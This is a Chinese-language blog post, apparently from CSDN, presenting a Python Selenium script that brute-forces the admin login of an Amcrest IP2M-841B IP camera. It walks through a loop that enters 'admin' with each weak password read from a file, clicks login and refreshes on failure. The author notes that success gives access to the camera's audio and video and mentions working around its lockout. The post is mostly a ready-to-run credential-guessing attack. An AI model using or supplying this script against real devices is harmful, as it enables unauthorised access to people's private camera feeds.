前言
这是我第一次在CSDN中写下文章,对于文章本身,只是用于记录我在日常学习中的点点滴滴,非常开心能与大家分享。
一、使用场景
我模拟登录的是一款Amcrest的摄像的web登录界面,界面很简单,只有两个输入框,分别是用户名和密码。
摄像头的型号为IP2M-841B,这款摄像头默认初始用户名、密码都是admin,但第一次配置好摄像头后,会强制修改摄像头密码。这样会有一定的安全风险,在已知用户名为admin后,尝试使用弱口令爆破。
二、使用步骤
1.引入库
from selenium import webdriver
from selenium.webdriver import ActionChains
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
import time
2.创建浏览器对象
url = 'http://192.168.1.130/'
window = webdriver.Chrome(r'chromedriver.exe')
window.get(url)
这里的url是摄像头的IP地址,使用webdriver来启动浏览器,此处我使用的是chrome浏览器,也可以使用Edge、Firefox、IE,只需修改webdriver.后面的名称。根据自己浏览器的版本来下载驱动
- chromedriver 下载地址:https://code.google.com/p/chromedriver/downloads/list
- 2.Firefox的驱动geckodriver 下载地址:https://github.com/mozilla/geckodriver/releases/
- IE的驱动IEdriver 下载地址:http://www.nuget.org/packages/Selenium.WebDriver.IEDriver/
- Edge的驱动Edge Driver下载地址:
https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/
3. 利用password.txt中的弱口令逐条尝试
f = open(r'password.txt')
for i in f.readlines():
input_account = window.find_element_by_id('login_user')
input_account.send_keys('admin')
input_password = window.find_element_by_id('login_psw')
i = i.strip('\n')
input_password.send_keys(i)
login_button = window.find_element_by_id('b_login')
login_button.click()
print(i)
time.sleep(0.1)
if(window.find_element_by_class_name('u-mask')):
window.refresh()
这里是根据id来对用户名框、密码框进行定位的。最后选中Login实现登录
三、实现效果
登录后的实现效果,安装插件以后就能获取摄像头音视频。
遗憾的是,摄像头设置了密码锁,要多尝试几次才能实现这样的效果。